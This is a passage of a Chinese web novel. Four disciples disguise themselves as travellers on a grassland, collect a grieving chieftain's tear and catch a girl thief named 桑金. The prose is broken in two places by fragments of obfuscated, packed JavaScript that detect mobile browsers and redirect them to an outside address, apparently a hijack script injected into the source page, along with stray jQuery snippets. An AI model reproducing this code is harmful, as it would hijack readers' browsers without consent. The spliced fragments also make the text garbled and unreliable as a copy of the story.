少女情思总是多,收集少女的泪水,能帮助青萝葵快速生长。 他们要收集两位因喜和悲不同情绪下流出的泪水,并且分开保存。 完颜丰卧躺在床铺之上,一只脚搭在另一只腿上,“少女泪水,我们这里不就有两位少女吗?一人哭一滴不就可以了吗?” 明舟摇了摇头,“不是这么简单的。红颜露必须也要在云牧川收集。” “为什么啊?” “灵女的后人终生需要守护灵女池,不得外出。云牧川是灵女曾经的故乡,有她曾经的亲人和后代。 所以必须要收集那里的少女眼泪。师父特意提醒,云牧川后面有不少外族人迁入,要找到手心有红痣的女孩子,那才是云牧川原本的居民。” 完颜丰终于啃完了一块糕点,在自己的衣服上蹭了蹭手,“好吧,那我们怎么取眼泪啊?可不可以直接给他们钱让她们哭啊?” 玉茵扶额,“完颜师兄,你敢再不靠谱一点吗?你要是敢这么做,我看云牧川的人第一个打的就是你。” 闻絮坐在一边的窗户旁,看着外面的风景,淡淡开口,“听闻云牧川的人大多以游牧为主,性情淳朴善良,应该不会对我们这些外来人有太多恶意。” “但是,我还听闻,云牧川的人好像对灵女有偏见。” 玉茵趴在闻絮身边,“为什么呢?那不是灵女的故乡吗?而且灵女一直守护灵女池,不应该被敬仰吗?” 闻絮收回自己的视线,灵舟里暖融融的,她解下自己的披风放在一旁。 “灵女最开始被培养是作为云牧川的守护神的,但她私自离开了云牧川,不知道什么原因,去守护了灵女池。云牧川厌恶背弃族人的人,所以不允许子民提及灵女。之前有人来到云牧川打听去往灵女池的地图,竟然被一些极端的人活活打死了。” 完颜丰这下不躺着了,“啊?那我们的任务怎么办?” 明舟:“只能悄悄来了,我会按照地图把灵舟降落在离云牧川稍微远一点的地方,剩下的路途我们就走路过去。到时候我们就说自己是路过云牧川,再取得他们的信任。” 玉茵:“那我们几个用什么身份呢?天照宗的身份应该不能用了吧,容易被发现。” 完颜丰又拿起一块糕点,“玉茵,这还不好说,明舟和闻絮演夫妻两个,我们两个演他们的朋友就好了。就说他们新婚出来散心,我们是陪着一起的。” 玉茵:“这能行吗?” 完颜丰:“当然可以了,不然说我们四个是一家人吗?哪有四个长得完全不一样的家人,肯定得这样!” “没意见吧,三,二,一,就这么决定了哦。” 四人的关系被完颜丰很快敲定。 云牧川距离遥远,灵舟也不能一直航行,走走停停,五天就过去了。 最后一次降落的时候,明舟用玄天给的容量最大的储物戒将灵舟收了进去。 但是这一下就将储物戒塞满了,明舟的行囊塞不下,干脆背在身上。 明舟提议几人都拿出一点行囊在身上,伪装就得像一点样子。 四人一人背了一个包袱,沿着地图上的方向走着。 云牧川是一片广袤无垠的草原,无边的草连成一片,望不到头。 冬天才过去不久,这里地上的积雪已经完全融化,化作一条条潺潺流动的溪水。 玉茵拿着一个小竹瓶,蹲在一边的石头上接水,“这水是积雪化的,肯定口感不错,可以拿来炖鸡用。” 已经到达云牧川了,但是这里一副浩渺无人的感觉。 草原上的居民多以部落存在,这里也不见居住的毡房的踪影,连牛羊也不曾见到。 那么只有两种可能,要么这里不是居住的地方,要么就是他们误入了狩猎区。 闻絮放下包袱,耳朵贴近地面,方圆数里没有传来马蹄的声音,幸好,这里还算安全。 明舟有些疑惑,“这里不是靠近水源吗?怎么会罕无人迹呢?” “我们就继续向前走吧。” “这里虽然靠近水源,饮水方便,但离得太近,水源容易被牲畜污染。而且地势太低,毡房修在这里,家具难免会潮湿,但肯定就在不远处。” “师妹,我们朝哪个方向走呢?”完颜丰看着无边的草原,放眼望去全是空荡荡的。 沿着正午太阳所在的方向看过去,闻絮指了指右手边一个地势高的山坡,“应该在那里。” 四人并排,踏着刚刚冒出头草原的绿芽,向远处的山丘走去。 走了不到一半的时候,一位红衣少女骑着马奔驰而来。 她的身前梳着长达胸前的黑发,发丝里绑着蓝粉色交织的丝带,额间戴着银光闪闪的流苏额饰。 她穿着游牧民族特有的胡服,衣服的边缘上坠着细细密密的羊毛。 她的耳朵上带着绿松石制成的蓝绿色耳坠,腰间挤着两块个头很大的玛瑙。 她骑着一匹红色的小马,马鞍上配着皮革包裹”的箭筒,里面放着几只粗大的羽箭。 她身后跟着一个身形比她高大的女子,皮肤看着更加黝黑一点,再看穿着打扮,比她的穿着更次一档,像是她的侍女。 她的姿势很熟练,但是马儿似乎有些疲惫了,脚步有些迟钝。 在途径一块大石头的时候,少女有些迟钝,竟然没有对马儿做出指令,马儿也累到不能反应,直挺挺撞了上去。 眼看人就要被马甩落在地,少女也反应过来,手硬拉着缰绳,想要侧趴在马背上。 但是马儿受了惊吓,马蹄重重踢在了石头上,疼痛难忍,疯狂地甩着身子。 少女拉着缰绳的手被迫甩开,她的头向着地上的大石磕去。 走在最前方的闻絮上前,飞身向前托了女人的背一把,接住了少女。 明舟和完颜丰合力拉住了失控乱踢的马儿,完颜丰在马儿口中塞了一粒药丸,疼痛的马儿也逐渐不再嘶鸣,在两人的引领下站起身子。 少女被身后的侍女从闻絮手里接过,“图雅,你还好吗?” 少女抬起手,遮住耀眼的日光,“我没事,多谢这位姑娘出手相救。” 仆人走在前面,右手搭在胸前,向闻絮微微鞠躬,“多谢姑娘。” “举手之劳,无足挂齿。” 少女看到几人穿着的都是中原服饰,随口问道,“你们都是从中原来的吗?来到云牧川可有要紧的事情?” 完颜丰安抚好马儿,理所当然地承担起了介绍的活计。 “哪有什么要紧的事,我们陪新婚夫妻随意出来走走而已。” 红衣女子看了一会儿,没察觉到几人身上带着危险的气息。 她走到闻絮的面前,伸出手表示友好,“你好,你叫闻絮是吗?谢谢你救了我。我叫乌仁图雅,你可以叫我图雅,祝你新婚快乐。” 闻絮回握住她的手,两人只轻轻碰到了手指的前端,乌尔图雅还是对他们带着戒备。 闻絮不经意地扫了一眼,在她的手掌中,中指的正下方,有一颗红色的小痣。 “相逢即是缘,看你们的样子,应该还没有找到住所,不如去我的毡帐。” “塔娜,你先回去,给客人们安排住所,我带着她们走。” 那个名叫塔娜的侍女骑着黑色的马,马蹄踏着有些湿滑的泥土,很快就远去了。 路上乌仁图雅旁敲侧击地问了一些庞余的细节,完颜丰秉持着多说多错的原则,一直乖乖地在一旁,听着闻絮和明舟回答。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416421|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 又走过一个小山坡,闻絮映着日光看到了许多毡帐,空气里还有牛马的味道。 塔娜从屋子里出来,身后跟着一个表情严肃的男人。 男人穿着和图雅几乎一样的服饰,不过额间没有银饰,他的左耳上戴着略微发黄的狼牙耳坠,古铜色的脸上有一片淡淡的雀斑,更显得面目充满异域风情。 “图雅,你的伤还没有好,怎么又去骑马了?你的伤口呢,有没有再崩开?” 图雅对于男人的关切的眼神摇了摇头,“我都说了没事了,难道要我成日都像个米虫一样,只呆在帐子里睡觉吗?” 蒙克赶紧松弛自己紧绷的面部肌肉,让自己的表情放松下来,“图雅,你别生气,我就是担心你。” 看到图雅笑了之后,蒙克才注意到图雅身后的几人。 “图雅,这几位是?” “这是我刚刚出去碰到的几位客人,他们是从中原来的,正好他们要在这里住几天,我就邀请到我的帐子里来了。” 图雅没有讲自己从马上坠落的事情,简单几句跳过了事情。 图雅说的她的帐子不是一间毡房,而是以从塔娜刚刚走出来的那间毡房为中心,周围的一片都是属于图雅的帐子。 至于蒙克的帐子,还要再向西走,他是特意来看图雅的。 完颜丰悄悄问玉茵,“哎,师妹,你看那个叫蒙克的,他肯定喜欢图雅。” 玉茵偏过头,悄悄问,“师兄,你是怎么看出来的?” “你看他那个眼神,根本舍不得离开图雅,就像是明舟看闻絮的眼神一样。” 玉茵踮起脚看了一眼,还真是这样,“师兄,这很正常吧,你看图雅多漂亮啊。” 二人还在悄悄耳语,蒙克已经用自己的目光把几人审视了一通。 “图雅,这里有男子,多少会有些不方便,不如这两位男客就带到我那里去住。” 图雅搓了搓自己的手心,料峭春寒可不是闹着玩的,“蒙克,你老和我对着干,是不是?我刚刚都说了这两位是新婚夫妻,你就拆开他们!” 眼看图雅又要生气,蒙克低着头不说话了,塔娜及时出来调节气氛,“蒙克额真,我们额真不是真的生气了,这次就听她的吧。” 完颜丰在明舟耳旁问道:“额真是什么意思?” 明舟听着塔娜的语气,“应该就是对领导人到一种统称吧。” 几人站在毡帐外听完了塔娜和蒙克的对话,玉茵打了个喷嚏,塔娜才急忙带着几人去他们的住所。 几人商议了一下,也不好意思白住着人家的屋子,便决定给一些银钱。 “幸好闻絮出门前多带了一点钱,不然到时候不够我们几个花了。” 毡帐里面空间很大,整个房子的顶和侧壁都是用厚厚的动物皮毛盖住,里面密不透风。 “这里面简直比我们的灵舟还要暖和。”玉茵坐在软乎乎的床上,呼吸着屋内灼热的空气。 闻絮收拾好自己和玉茵的行囊,带她出来在草原上溜达。 要收集红颜露没有那么容易,少女就先必须确定好。 乌仁图雅手上有红痣,她们又住在她的帐子里,选择她也好接近一点。 那另一个少女呢,只能去再找一个别的少女了。 闻絮绕了一圈,只在边上的马厩里看到一个在喂马的老妇。 其他的人呢?都去了哪里? 塔娜看到在外边转悠的二人,说图雅有些累,先睡下了。 晚上她会摆宴席,就在图雅的帐子里,到时候塔娜会去叫他们。 另外,塔娜身后跟着两个四十岁左右的妇人,她们的手上一人端着一个托盘,上面放了两套女人的服饰。 “两位客人,云牧川到了夜间会有巡逻的人,穿着不同的人在领地里走动,可能会引起误会,这是额真为你们准备的新衣,让她们帮你们换上吧。” 入乡随俗,到了云牧川,就得守云牧川的规矩。 两位婆子帮闻絮和玉茵脱了原本的衣裳,换上她们的服饰。 一共有两套,闻絮让玉茵先挑,玉茵看了半天,拿了左边那套海蓝色的衣袍。 闻絮拿了右边偏白色的一套,外面是一个银灰色的丝绸样式的背心。 闻絮通过屋内摆着的铜镜,看到一个婆子小心地在翻看自己的包袱。 不过,凡是可以暴露身份的东西,都被放在储物戒里了,储物戒在闻絮手上稳稳戴着,不会出什么差错。 衣服换好了,两位婆子让二人坐在矮凳上,拆了她们原本的发髻。 她们用特质的羊角梳蘸了羊奶,二人的长发被分成两股。 面前摆着五颜六色的丝带和额饰,尽情供她们挑选。 “闻絮,我想要这个粉色和黄色的丝带,你要什么颜色?” 闻絮拿了一条淡青色的丝带,“我要这个就好。” 等到丝带被编进二人的发丝里,造型就算完成了一半。 玉茵挑选了一对小巧的玛瑙耳环,她对着镜子看着自己浑然不同的打扮。 闻絮没有耳洞,没有拿耳坠,一旁的婆子拿起一对精巧的额饰在闻絮眼前,“夫人喜欢这个吗?” 饰品都很精美,闻絮点点头,由着婆子给她佩戴上。 32. 即使万分痛苦,我也希望他活着 完颜丰和明舟那边,有另外两个婆子过来送衣袍。 男子的服饰就略显简单了,不佩戴复杂的额饰,两人都没有耳洞,也就省去了额饰。 两人的腰上一人挂着一块浑圆的绿松石,简单大气。 几人都是第一次穿这些衣服,虽然有婆子的帮忙,但是也花了不少功夫。 等到闻絮和玉茵的头发也都编好,图雅也已经睡醒了。 塔娜带着图雅到两人的帐中,图雅明显被二人崭新的打扮惊艳到了。 “你们两个穿我们的衣服真好看!” 图雅上前,轻轻抬起闻絮的辫子,抚摸着上面的丝带。 玉茵从一旁的包袱里拿出银钱,想要对图雅的款待表示感谢。 图雅没有收,“你这是做什么?把我想得这么小气吗?只是让你们暂住几天,吃几顿饭而已,还要收你们的钱吗?” 玉茵拿在手里的钱一时又放下。 闻絮想起自己的包袱里还有之前玉茵买的一些布料,还没来得及做成衣裳。 “图雅,这些是我们从中原带来的礼物,就当做是和我们身上衣物的交换吧。” 图雅这才开心地点了点头,让塔娜带着人收下了。 “那两位男客呢?他们在哪里?” 身后的仆人回答道:“回额真,两位男客还在换衣服。” 图雅点头,继续对闻絮说:“我已经让仆人准备饭食了,今晚让你们尝尝我们草原的特色美食。一会儿等你的丈夫和朋友过来,我带你们去。” 天色稍微暗了一点,几座帐子围着的草地中间点起了篝火。 木材在堆起的土坑里燃烧起来,空气来传来火星爆开的声音。 围着篝火摆着几张小桌,配有几张矮凳,侍女正在端着食物上来。 中间拼起来的长桌上放着一只烤好的小羊,表面刷了油,扑鼻的香味在空气中蔓延开来。 图雅看了塔娜一眼,塔娜拿起桌上的酒壶倒在一旁略显宽大的敞口杯里。 这酒壶里装着的却不是酒,而是泛着奶白色的液体。 图雅拿起一杯,又让塔娜给闻絮倒了一杯,“这是我们草原的奶酒,欢迎你们到来!” 众人举杯,和图雅轻碰了一下杯壁,闻絮小抿了一口,不是很能喝得惯的味道。 有一点苦涩,但很快在口中就有一股悠长的奶香味在口中回甘。 下午回到自己部落的蒙克此时又出现了,他就坐在图雅的身旁。 闻絮和明舟坐在一起,挨着图雅。 蒙克想和图雅说几句话,但是图雅歪着脸不肯看他,他只好把话头转向了两人。 “听闻二位是新婚夫妻,不知二位是怎么认识的?” 闻絮放下酒杯,自然地回答道,“我们在江州一家客栈遇到的,江州风景很美,额真如果有机会去,一定要来找我们。” “我看闻姑娘不爱多话,不知道明公子是怎么追得美人归的?” 问完了闻絮,紧接着就到明舟了。 明舟回答话就秉持一个诚实的态度,“喜欢一个人就是对她好,把我觉得好的,和她喜欢觉得好的给她。” 明舟回答完反问蒙克,“额真觉得我说得对吗?” 还没等蒙克回答,就看到图雅猛地拿起一杯酒喝了下去,然后把杯子重重放在桌子上。 “哼,我们蒙克额真自然是觉得说得对,草原上谁不知道你对妮娅好,恨不得把天上的星星都摘下来。” 完颜丰嗅到八卦的气息,酒也不喝了,竖起耳朵想要多听一点。 “图雅,你怎么又提以前的事情?” 图雅又喝了一杯酒,“怎么,她活着是你的夫人我说不得,她死了我也不能说吗?” 场上的氛围瞬间冷落下来,蒙克初见时的好脾气不了,“图雅,你喝多了。” 他起身,向闻絮几人示意,“失陪了,各位,我还有事。” 场上只要不是傻子,都能看出来两人之间有事。 蒙克走后,图雅一杯接一杯喝着,塔娜令人添了些木头,篝火烧得更旺了。 饭菜还在继续上着,中间有一些穿着特色衣裙的女子上来跳舞。 闻絮和玉茵对了一个眼神,闻絮留下来吸引注意,玉茵混在人群中假装跳舞,实则是查看她们的手心。 有新的客人加入,舞姬改变了原本精巧的舞蹈,拉起手围成一圈,让玉茵融入其中。 玉茵跳上几步就换一个位置,直到可以看清她们的手心。 草原上风有些大,明舟拿起自己的披风递给闻絮,用气声问着,“冷不冷,要不要穿上?” 闻絮接过披风,但是没有穿上,只是盖在了自己的腿上。 图雅看到明舟对闻絮的关心,又抬手给自己倒了一杯酒。 酒壶已经见底,她又呼唤塔娜,“塔娜,酒没了,再倒一壶来。” 塔娜看着图雅落寞的表情,有些心疼,“额真,你的伤还没好,少喝一些吧。” 图雅露出一个比哭还难看的笑容,“我没事,我喝过比这百倍还多的酒,这点算什么。” 塔娜不言,拿了空酒壶下去,但是久久没有上来。 “你的丈夫对你可真好,你说,所有的丈夫对自己的妻子都是这么好吗?” “不都是,如果是真心相爱而成婚的人,那自然在生活中关心和爱护。如果是因为其他原因成婚的,即便不爱,相敬如宾也是可以做到的。” 图雅的手抠着桌子,“你知道吗?我和蒙克从小就认识了,他之前答应了只对我一个好,他说了永远,还说如果做不到,那就让我杀了他。” 闻絮犹豫了一秒,“那你们为什么没有成婚?” 图雅嗤笑一声,“因为妮娅,你肯定不认识妮娅,哈哈,她都死了,你怎么能认识妮娅呢。” 图雅摸了摸自己身上的红衣料子,“我们是要成婚的,我们订婚的那一日,蒙克喝醉了,他走错了帐子,走到了妮娅的帐子里,然后你猜怎么着?” 图雅被酒呛得咳了一声,“妮娅怀孕了。” 图雅放下酒杯,脸上一串眼泪就随之落下。 闻絮紧急在脚下施法,在眼泪落地前接住了她的泪水。 是悲泪。 闻絮手背在后面,悄悄把瓶子递给了明舟,明舟接过藏了起来。 图雅的这滴泪来得太快太急,幸亏闻絮反应快,等到图雅再次睁眼,眼里盈盈的泪水已经消失了。 她不知道不该说这些的,但是人总是这样,对待亲近和了解自己的人,内心真实的想法反而不能说出来。 面对初次见面的陌生人,却能毫无保留地吐露自己的心声。 “你是不是觉得我很可悲?” 闻絮摇了摇头,“这不是你的错,或许也是一种幸运。如果你们成婚了,再发生这种事情,我认为会让你更加痛苦。” 图雅愣了一下,仰头喝完杯中的奶酒。 “今天的酒比往日的苦,一点不好喝。” 她接着自顾自说着,“后来,我的婚礼就变成了蒙克和妮娅的婚礼。蒙克后来找过我,他给了我一把匕首,让我杀了他。” 闻絮扭头看了看还在载歌载舞的舞姬,那边欢快的氛围和这边借酒消愁的图雅格格不入。 玉茵还在其中继续看着,闻絮继续和图雅聊天。 “那你为什么没有杀了他?他没有做到自己的誓言,就该付出自己的代价。” 图雅看向闻絮的目光带了一丝欣赏,“你是第一个告诉我说应该要杀了他的人。” “那天妮娅跪在我的面前,求我放过蒙克,她哭得声泪俱下,看了很叫人心疼,好像我才是拆散他们的那个坏人。” “所以你同意了。” 图雅笑着点点头,“对呀,我答应了。” “死是最容易的,死是一瞬间的,活是一辈子的事。我舍不得他死,哪怕每次见到他的时候我都痛苦万分,我也希望他活在这世上。” 塔娜端着酒壶上来,里面没有再放奶酒而是放了解酒的清茶。 “额真,你喝多了,我扶你回去吧。” 图雅甩开塔娜的手,继续说着,“可是我后来后悔了,他好像一点都不痛苦,我常听别人讲他对妮娅特别好。妮娅想要什么他都给,妮娅孕吐不想吃东西,他就亲自学着给妮娅做。” 图雅抿着嘴,此时像一个受尽了委屈的小女孩,“然后我就暗地里诅咒,希望他们两个都死掉。我是不是特别坏?” 闻絮看向图雅的眼神很是复杂,但还是摇了摇头。 别人欺负了自己,就该要欺负回去才是。 “可是后来,妮娅真的死掉了,她在生孩子的时候难产死掉了。其实我也没有那么想让她死的。” 塔娜强行搀扶着图雅的胳膊,“额真,不要再说了,你喝多了。” 图雅踉踉跄跄地起身,忽然却回头看向明舟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416422|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她伸出手指着明舟的眼睛,“你,一定要对你的妻子好,既然你们真心相爱,就不要辜负了她。不然,我就替她挖了你的眼睛喂鹰!” 塔娜一边扶着图雅,一边向明舟道歉,“公子海涵,额真喝多了,酒后失言。” 明舟看着图雅认真的眼睛,“我一定做到。” 得到明舟的回答,图雅弓着的身子放松下来,塔娜扶着她进了毡帐。 蒙克和图雅都走了,就剩几人围坐在篝火旁。 玉茵已经从跳舞的人群之中回来,她朝闻絮摇了摇头。 奇怪了,整个下午,她们没有看到一个手心带红痣的少女就罢了。 现在这群年轻的舞姬,居然也没有一个符合条件的。 但还好,也不是一无所获,明舟手里已经有了一滴悲泪。 玉茵听了图雅的故事,原本的心情也都破坏了,最后竟然在风中哭了起来。 “这个蒙克怎么对得起图雅啊!” 在看话本子时,上面男女的爱恨情仇已经令人心揪,何况是听一个心碎的少女亲自讲述。 玉茵伏在膝盖上哭了一小会儿,收拾好心情。 “图雅好可怜,我们能不能帮帮她?” 完颜丰看淡了这些事情,淡定地在一旁啃着羊排,“这种事情要怎么帮忙?难道你现在冲过去杀了蒙克吗?” 玉茵顶着微红的眼睛,“可以吗?” 嘴里咀嚼的动作一停,完颜丰诧异地看着玉茵,“你难道真想杀了他吗?” “这帮不到图雅,蒙克日日就在她的身边,想要杀她早就动手了。生命里有很多东西都比爱情要重要的多,他们青梅竹马一起长大,就凭这一点,她永远不可能动手的。” 闻絮拍了拍玉茵的背,帮她顺了顺气。 “很多事情我们都不能参与的,旁观者清,但是身入其中的人未必不懂,他们也有自己的挣扎。” 玉茵点点头,“我知道了,师妹,你放心,我不会冲动行事的。” 草原风大,再加上图雅已经离开,几人草草对付了几口也离开了。 明舟和闻絮的住处被安排在一起,两人一起回了屋子。 闻絮取下头上的额饰,放松了一下紧绷的额头。 明舟在她旁边坐着,有些紧张地捏着腿上的衣服。 “今天没有找到合适的少女,明日我们找个借口再逛一圈,要是这里还是没有合适的人选,我们还需要再去其他的部落。” 闻絮自顾自说着她的想法,明舟就静静看着闻絮的脸。 “你很热吗?怎么脸这么红?” 明舟更紧张了,“还好,可能是刚刚喝了点奶酒的缘故,现在有点热。” 闻絮摸了摸明舟的脸,好像是有一点热。 “你要是累了就先休息,我睡不着,想去外面走走。” “我陪你去吧,你一个人不安全。” 闻絮想想,点头同意了,毕竟不是在她们熟悉的地方,最好还是结伴而走比较好。 夜晚的草原上灯光稀少,只看到几簇零星的篝火还在燃着。 夜色席卷了整片大地,显得更加寂静。 广阔的草原上,有一个人的身影格外明显,看走路的样子来看,应该是一个小女孩。 闻絮想要追上去看看,但小女孩不知道走了哪里的小路,一眨眼就不见了。 “怎么了?” 明舟没有看到小女孩,只看到闻絮略带疑惑的眼神。 “你刚刚有看到一个小女孩吗?” 明舟摇了摇头,“天色太晚了,看不清有什么东西,刚刚有人路过了吗?” “算了,兴许是我看错了。这里太黑,我们贸然随随便走也不太好,还是回去吧。” 两人住在一个屋子里,索性毡帐的床很大,一人分睡了一边。 闻絮脱掉了厚重的外袍,穿上了自己的里衣。她原本还想拆掉自己的发型,但想了想自己也不会编,就这样留着继续睡了。 玉茵回到自己的屋子,也和闻絮一样,保留了自己的发型。 这几日在灵舟中有些睡不安稳,今日她要好好睡一觉。 完颜丰简单洗漱过后,吹灭了屋内的灯火,室内陷入一片黑暗,他也慢慢闭上了眼睛。 吃饱喝足,明日才好继续做任务。 少女,少女,你要是听到我的声音,就赶快出现吧。 深夜,一个小小的身影溜入了完颜丰的房间。 33. 再次抓到桑金 毡帐里没有灯火,黑影悄悄放下门口的帘子,慢慢摸进了完颜丰的房间。 房间里的布置她很熟悉,绕过了摆在门口的桌子和矮凳。 她的脚步放得很轻,几乎没有发出动静。 完颜丰一直没发觉,直到黑影摸到了房间的最里面,箱子上放着完颜丰身上带来的包袱。 黑影打开包袱,里面有一个裹着很紧的油纸包,裹得这么紧,应该是好东西。 黑影把油纸包放在自己的腋下,继续悄悄翻找着,包内除了两身衣服和一点碎银子,没有什么值钱的东西了。 碎银子当然也算钱,黑影全都拿走了,不准备给完颜丰留一点。 黑影想要原路返回,但是床上的完颜丰此刻却有了动静。 晚上吃了太多的羊肉,此刻他的肚子有一点胀痛。 他揉着惺忪的睡眼坐起身,黑影怕被发现,迅速地蹲下身子。 完颜丰原本眯着的眼睛此时清醒,虽然黑影的动作很小,但蹲下身子时衣服的微小摩擦声被他听到了。 他的身后,此刻有人在。 完颜丰不动声色,打了个大大的哈欠。 “哎呦,吃得什么东西呀,茅房,茅房,我要去茅房。” 嘴里嘟囔着几句话,完颜丰一脚踩进自己的鞋里,掀开帘子跑了出去。 黑影长舒了一口气,抓紧在完颜丰后面跟着出去。 “不许动!” 完颜丰的气声传来,他压低了嗓音,匕首就在黑影的咽喉处。 黑影背后的手蠢蠢欲动,完颜丰一把握住她的手腕,一枚袖箭在她的衣袖里绑着。 完颜丰一把扯下她的面罩,“再敢动别的心思,我立马割断你的喉咙。” “别杀我,哥哥,我错了。” 黑暗中她的声音很稚嫩,听起来年纪不大的样子。 完颜丰扔掉她手中的袖箭,拉着她的胳膊回到了自己的屋子。 完颜丰在点灯的时候力道一松,随即女孩的一拳就挥了过来,完颜丰没有拿武器,赤手空拳握住了女孩的拳头。 两人简单过了几招,女孩的招式虽然精巧,但是力气终究不如男人,再次被完颜丰扼住。 完颜丰拿着自己白日戴着的围脖绑住女孩的手腕,女孩彻底不动弹了。 但是却开始无声地流眼泪,眼看她要大声哭出来,完颜丰急得直接捂住了她的嘴。 “喂,你干什么?大晚上的,你是要吵醒所有人吗?” “反正我没爹没娘,没有人会管我,我就是哭破了嗓子也不会有人来救我的。” 完颜丰被气笑了,“你这话说的,什么叫救你?好像我跟坏人一样,不是你先来偷东西的吗?” “正好,让我看看你偷了什么东西。”完颜丰拿起地上掉落的东西,只是一包油纸抱着的杏仁饼和几块碎银子。 他的包袱里夹在衣服夹层里的几张数目大的银票都没有拿。 “你,难道是饿了?” 女孩看到完颜丰从衣服夹层里拿出银票,有些懊悔,刚刚居然仔细翻了翻,这人居然是个有钱的主。 但已经这样了,就暂时装一装吧,不然完颜丰不会轻易放了她的。 “哥哥,我错了,我实在是饿得不行了,我进屋子就是想拿一点吃的,我不是偷,等我有钱了,买了再还你。” “我这是从中原买的吃的,这里买不到,你该怎么还我?” 女孩泪眼止住,煞有介事得思考了一下,“买不到的话,那我就自己做了还给你,可以吗?” 完颜丰笑了笑,解开了女孩的绳子,“不用还了,送给你吃吧。” “谢谢哥哥。” 女孩抱起东西一溜烟跑得没影了,也就完颜丰这个傻蛋好糊弄,自己说什么都信。 完颜丰看着地上滴落的少女泪水,拍了一下自己的头,懊悔道:“该死,怎么这么笨,刚刚那么好的机会,居然忘记看她的手心了。” 地上的泪痕马上就干了,现在想要再收集也来不及了。 算了,算了,还是明日再出去找好了,也不能指望每个小偷都是合适的人选。 第二日完颜丰起床时,其余几人已经起来了。 屋外十分热闹,云牧川又到了做酥油的日子,几个女仆早早地在牛圈里挤着牛奶。 柴火燃起的炊烟袅袅升起,带着清晨的水雾一起飞向了天空。 图雅一改昨日的颓废,还是昨日那身衣裙,只不过现在腰上裹着一个白色的围裙,在帮忙洗着放牛奶的大缸。 “塔娜,客人醒了,你去带他们吃早饭。” 塔娜命老妇端着油茶来到闻絮的帐子里,闻絮问她们这是在做什么。 塔娜回答道:“今日是起酥节,每年的今天,每个部落的额真都要亲自做酥油。做出来的酥油一部分卖给一些小的部落,一部分会留下来自己吃。” 塔娜端着一碗油茶,递给闻絮,“这就是酥油做的茶。” 不似昨日的奶酒苦涩,入口又是一种脂肪的香味,还带着一股咸咸的味道。 云牧川的早上也吃牛羊肉,闻絮胃口不好,只喝了一碗油茶。 她问塔娜,“做酥油是女子做还是男子做?” “一般是女子来做,男人早上要去捡草原上的牛粪回来当燃料。” 闻絮到屋子外面去看,女仆打了四桶满满的牛奶,正在炉子上加热着。 云牧川的酥油是纯手工做的,听塔娜说一桶牛奶要分放在四个小桶里,然后不停地捶打,让牛奶中的脂肪分离出来。 这么大的工程,势必要很多的人来做,这是寻找少女的一个绝佳的机会。 图雅已经撸起袖子开始干了,她重重地捶打着桶里的牛奶,抬手擦汗的时候又看到了闻絮。 “闻絮,你要不要一起来,做酥油是很有意思的。” 说完,图雅让一个女仆递给了闻絮一个小桶,闻絮也学着图雅的样子做着。 屋内的几人吃完饭,也跟着一起出来。 不知是谁带了头,几人就这样一排排站着都做起了酥油。 清晨原本是有些冷的,但架不住体力劳动带来的热。 明舟数着自己捶打的次数,没有上千也有几百次了。 桶里的牛奶终于从原来的乳白色变成了姜黄色。 桶里牛奶的香味也愈发浓郁,完颜丰停下手里的动作,“明舟,我感觉我要醉奶了。” 图雅还在和玉茵闻絮一起聊着天,她还在说着要把今日做好的酥油做成酥油灯,点在她们的屋子里。 “图雅,我听塔娜说做好的酥油还会卖给其他部落,是真的吗?” 图雅点点头,“一些小的部落没有这么多的牦牛,天气不好的时候,牦牛不会产奶,他们自然也没有酥油。我们会把多余的酥油加工,卖给这些小的部落。” “看,已经有形了。”图雅的桶里出现了小小的黄色乳糜状颗粒,随着她的动作,桶内的黄色颗粒越来越多。 图雅去一旁的水桶里舀了水洗手,伸手进桶里捞出一把,小的颗粒聚集在一起,逐渐形成一团大大的酥油。 酥油在图雅的手里变成了一条长方形的物体,固定好形状后她把做好的酥油放在一旁装满凉水的水桶里。 “这是用来帮助定形和保存的。” 玉茵从桶里捞出来刚成形的酥油,揪了一点放在自己的嘴里。 没有什么特殊的味道,咸咸香香的。 玉茵去捞的时候没注意,自己的袖子湿了一大片。 于是停下手里的活,回屋去换一件干净的衣服。 只是过了一会儿,玉茵没有出来,她的帐子里传来了叫喊声,“站住,你个小偷!” 明舟站的位置离玉茵的帐子最近,他放下手中的器具,第一个跑了过去。 玉茵正揪着一个小姑娘的头发,死死不肯放手 “明舟,快来,她偷我的钱还有我的衣服!” 明舟定睛一看,果然眼前这姑娘的手里拿着几张银票还有此前玉茵买的衣裳。 明舟一把夺过她手里的东西,完颜丰也跟着跑进来了。 女孩低下头,不让完颜丰看到自己的脸。 但完颜丰看着眼前女子熟悉的脸,他上前抬起女孩的下巴,“你抬头让我看看。” 女孩熟悉的面容映入他的眼中,“怎么又是你?” 玉茵还气鼓鼓地拉着女孩的辫子,“完颜师兄,你认识她?” 完颜丰又仔细看了看,“对,昨晚她就偷偷进了我的帐子,她说她太饿了,我就给了她吃的还有钱,现在怎么又来偷东西?” 图雅和闻絮离得比较远,最后才跑着进来。 “桑金?你怎么在这里?” 玉茵手上抓着辫子的力道松了松,改为抓着桑金的胳膊。 “哦,原来你叫桑金啊。”说完,玉茵转头看着图雅,“图雅,我刚刚回来换衣服,就发现她鬼鬼祟祟地在这里翻我的包袱,她就是一个小偷。” “桑金,你何必一直过来捣乱呢?他们是来这里的客人,你不喜欢我就冲我来就好。” 